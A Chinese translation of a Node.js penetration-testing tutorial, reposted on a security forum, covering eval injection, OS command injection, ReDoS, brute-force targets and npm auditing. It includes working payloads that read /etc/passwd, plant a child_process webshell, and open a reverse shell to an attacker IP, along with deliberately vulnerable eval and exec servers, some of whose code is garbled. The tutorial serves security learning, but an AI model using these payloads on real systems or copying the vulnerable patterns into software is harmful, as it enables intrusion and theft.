PentestingNode.js Application : Nodejs Application Security

由prison翻译整理,首发i春秋。

引言:
由于原文地址在墙外,所以做下简介:
本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞可以在多种工具下的不同利用方式。因为我认为会对论坛部分web安全新手有所帮助,所以整理到论坛中。难度系数:三颗星。
关于Node.js的介绍我们这里就不再赘述。
 
今天我们主要讲下Node.js的一些可以对渗透测试工作有一些帮助的漏洞。为了更好地让大家理解,我会对其中一些代码进行分
析。
1  你可以很容易的从网络上下载并安装Node.js到自己的电脑
2  在我们的事例中我使用了Node.js的一个框架Express,你可以把它安装到自己的电脑
 
 
创建一个目录,我这里命名为nodeapp
$ mkdir nodeapp
$ cd nodeapp

用npm init 命令为你的项目创建一个package.json文件。

这个命令会询问你一些像是项目名称,版本之类的问题,你可以一直按回车键选择默认。
 
现在在nodeapp目录下安装Express
$npm install expres –save

你也可以选择临时安装express,而不将它添加到依赖项列表中。

$npm install express

Eval()函数很危险

远程代码执行(利用服务器端JavaScript注入)【JavaScript任意代码执行】
 
eval()是一个危险的函数,任何输入都可以通过它执行,形成一种远程命令执行场景,程序可以越权执行。

示例1:

var x = 2;
var y = 2;
var z = '10'';
eval('x + y + 6'); // returns 10
eval(z);           // returns 10
  
Both eval() will return value 10.

示例2:

ar express = require('express');[/align]var app = express();
app.get('/', function(req, res) {
 var resp=eval("("+req.query.input+")");
 res.send('Output</br>'+resp);
});
app.listen(8001);

[codeexe.js]

如你所见,显然eval函数从输入参数中获取输入,而不需要转义或过滤直接传递给eval()。这是一个很常见的典型的例子。
用户可以通过将代码传递给输入参数来利用这个漏洞。
首先我们启动我们的js代码
node filename.js
node codexe.js

如果你启动时看到一些错误,可能是其他正在运行的服务占用了端口,所以首先我们要用ps命令找到这些服务。

kill掉pid为2959的codexe.js

我们接着启动js代码

首先,我们将一个简单的用户输入传递给我们代码中的输入参数:http://127.0.0.1:8001/?4444441111

我们用一些关于Node.js代码执行的payload

process.arch
process.argv
process.argv0
process.channel
process.cwd()
process.geteuid()
process.getegid()
process.getgroups()
process.pid
process.platform
process.version

丢到Burp的Intruder:

导入我们的payload

从爆破结果来看,我们可以发现其中一个叫做process.cwd()返回了当前目录值"/Users/narendrabhati/Node JS Pentesting”

确认之后,我们就可以在文件中做一些我们想做的坏事啦~
 

http://127.0.0.1:8001/?input=res.end(require('fs').readFileSync('/etc/passwd').toString())

现在我们搞一个简单的webshell,像PHP shell那样婶儿的,你可以在其中执行/注入系统命令。
 

下面的payload将会启动一个新的服务器,或者在八秒后你可以在8002端口上找到一个新的node.js应用。让我们搞点花样出来:

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)

8秒之后你可以通过cmd进行命令执行、
 

反向连接Reverse Shell

要获得一个反向shell,我们可以使用nodejsshell.py你可以在这里找到python脚本
该脚本将根据攻击者ip和攻击者本地端口创建一个js代码。
当您与node js应用程序有直接连接时,或者两者都在同一个网络中,这就非常方便了。
下面我用Kali机器192.168.131.134测试了成功Ping,然后运行了nodejsshell.py我的kali机器ip地址为192.168.131.134,端口4444。

我的kali在等待连接4444端口:

我通过nodejsshell.py在这个项目中注入代码:

然后我的kali得到了一个反向shell

2)远程操作系统命令执行

类似于远程代码执行(利用服务器端JavaScript注入),这个漏洞也允许攻击者执行任意的命令执行。关键的区别在于,这个漏洞
 
的出现是因为由于使用了不安全的允许在系统间进行交互的exe.exec造成的。
 
[nodejsrce.js]
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
 {
  var parsedUrl = url.parse(request.url, true);
  response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data)
 {
  response.write("RCE-DEMO " + data);
 });
 }).listen(8005);

通过查看源代码,我们可以说,exe。exec通过注入参数接受用户输入,而不需要过滤或转义用户输入。因此,用户/攻击者可以注入任何允许他执行nodejs远程OS命令执行的值。
下面是我们的应用程序ping命令示例。

我不打算将命令执行的基础知识,你可以在网络上找到关于命令执行的文章。
 
我们构造出一个典型的命令执行url:

我们可以同时传递多个命令:

3) RegExp DOS 漏洞

正则表达式拒绝服务(ReDoS)是拒绝服务攻击,它利用了一个事实,即大多数正则表达式实现可能会到达极端情况,导致它们的工作非常缓慢(与输入大小相关)。然后,攻击者就可以使用正则表达式来执行一个程序,从而进入这些极端情况,然后挂起很长一段时间。
在短时间内,攻击者可以通过发送大量假数据来滥用正则表达式验证,这使得应用程序消耗大量服务器资源,从而导致其他用户无法获得服务/应用程序的可用性。

[ nodejsregexp.js]

var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email ));
response.write("</br>Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8006);

在输入var emailExpression= /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;之后,容易受到DOS攻击,攻击者可以将大量的输入传递给应用程序。导致服务/应用程序不可用。

http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%////

这样大量的输入将会导致应用程序大量消耗服务器资源。

4 ) Brute Force/Rate LimitProtection

在对node js应用程序进行测试时,总是寻找可以执行暴力/wordlist攻击的端点。例如:
A)忘记了密码表单:尝试枚举现有的用户
B)OTP-OTP主要用于密码重置,移动验证,创建帐户
C)密码重置代码:有时密码重置令牌可能存在爆破可能。
5)NPM
现有的npm包可能有一些存在的漏洞。现在Node安全项目对此进行了补救。
使用NSP工具,我们可以查找现有的漏洞。
以下命令将安装nps。
npm i nsp –g
nsp check module-name-to-audited[检查是否有漏洞]

或者是

nsp module-name-to-audite.json
6)自动扫描
我们可以使用NodeJSScan进行自动化的漏洞扫描。

教你利用Node.js漏洞搞事情的更多相关文章

  1. 教你通过Node.js漏洞完成渗透测试

    本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞可以在多种工具下的不同利用方式.因为我认为会对论坛部分web安全新手有所帮助,所以整理到论坛中. ...

  2. 利用Node.js对某智能家居服务器重构

    原文摘自我的前端博客,欢迎大家来访问 http://www.hacke2.cn 之前负责过一个智能家居项目的开发,外包重庆一家公司的,我们主要开发服务器监控和集群版管理. 移动端和机顶盒的远程通信是用 ...

  3. 【Node.js】利用node.js搭建服务器并访问静态网页

    node.js是一门服务端的语言,下面讲讲如何利用node.js提供给我们的api来搭建服务器,并且访问静态网页 项目结构如下 ------------------------------------ ...

  4. 如何更好的利用Node.js的性能极限

    通过使用非阻塞.事件驱动的I/O操作,Node.js为构建和运行大规模网络应用及服务提供了很好的平台,也受到了广泛的欢迎.其主要特性表现为能够处理庞大的并且高吞吐量的并发连接,从而构建高性能.高扩展性 ...

  5. 利用Node.js对某智能家居server重构

    原文摘自我的前端博客,欢迎大家来訪问 http://www.hacke2.cn 之前负责过一个智能家居项目的开发,外包重庆一家公司的.我们主要开发server监控和集群版管理. 移动端和机顶盒的远程通 ...

  6. 手把手教你学node.js之使用 superagent 与 cheerio 完成简单爬虫

    使用 superagent 与 cheerio 完成简单爬虫 目标 建立一个 lesson 3 项目,在其中编写代码. 当在浏览器中访问 http://localhost:3000/ 时,输出 CNo ...

  7. 利用Node.js实现模拟Session验证的登陆

    1.身份验证和用户登陆 在一般的Web应用上,假设要实现用户登陆,最经常使用,也是最简单的方法就是使用Session,主要的思路是在Session中保留一些用户身份信息,然后每次在Session中取, ...

  8. 手把手教你学node.js 之使用 eventproxy 控制并发

    使用 eventproxy 控制并发 目标 建立一个 lesson4 项目,在其中编写代码. 代码的入口是 app.js,当调用 node app.js 时,它会输出 CNode(https://cn ...

  9. 利用Node.js的Net模块实现一个命令行多人聊天室

    1.net模块基本API 要使用Node.js的net模块实现一个命令行聊天室,就必须先了解NET模块的API使用.NET模块API分为两大类:Server和Socket类.工厂方法. Server类 ...

随机推荐

  1. [NOI.AC]COUNT(数学)

    解析: 也可以将所有的可能都计算出来,后进行减法运算. 代码: #include<bits/stdc++.h> using namespace std; #define ll long l ...

  2. 我对于UI设计这个领域的理解

    User Interface(UI),包括三部分用户.界面以及用户与界面之间的交互关系.UI设计则是指对软件的人机交互.操作逻辑.界面美观的整体设计. 如何看待UI设计这个领域? 任何一个行业的出现都 ...

  3. 工作五年以上的 UI 设计师都在干什么?

    30 岁,现在坐标北京,从毕业至今都一直在做设计.目前从业超过了五年,也没打算离开设计这个行业.即便有一天不再从事设计专职的岗位,也仍然会在生活中,或者一些份外的工作中做「设计师」的角色,因为设计已成 ...

  4. inline 引起undefined reference to

    main.cc:57: undefined reference to `evpp::udp::UdpDecoder::GetHeader()'collect2: error: ld returned ...

  5. HRegionServer异常下线问题

    ==版本== Hadoop:2.7.1 HBase:1.2.1 Zookeeper:3.4.6 ==现象== HBase集群启动一段时间之后,一部分HRegionServer会异常下线重启(用syst ...

  6. RocketMQ的客户端连接数调查

    RocketMQ版本:3.4.6 ==问题现象== RocketMQ集群的某个topic,在一部分节点上消费有“断层”,这部分数据一致没办法消费. ==调查过程== 一顿操作猛如虎的调查之后发现, 该 ...

  7. 启动 nexus, major.minor 51.0 版本不支持

    a).Nexus的2.6版本及其以后版本 使用的Java的jdk7. b).Nexus的2.0-2.5版本 使用Java的jdk6的update30版本及其以后的jdk6版本 使用Java的jdk7的 ...

  8. 如何配置JDK?

    有很多人,java都下载好,却因不会配置JDK,而无法编程.今天巩固就来教大家配置JDK.​ 第一步:将下载好的java放在D盘(最好不要占用C盘).​​​ 第二步:右击我的电脑,选择"属性 ...

  9. jquery判断显示的元素并获取显示元素数据

    // 获取显示元素的数据 jQuery(this).find("a:visible").attr("href"); // 多级标签选择器 jQuery(&quo ...

  10. 2018.09.26 bzoj5221: [Lydsy2017省队十连测]偏题(数学推导+矩阵快速幂)

    传送门 由于没有考虑n<=1的情况T了很久啊. 这题很有意思啊. 考试的时候根本不会,骗了30分走人. 实际上变一个形就可以了. 推导过程有点繁杂. 直接粘题解上的请谅解. 不得不说这个推导很妙 ...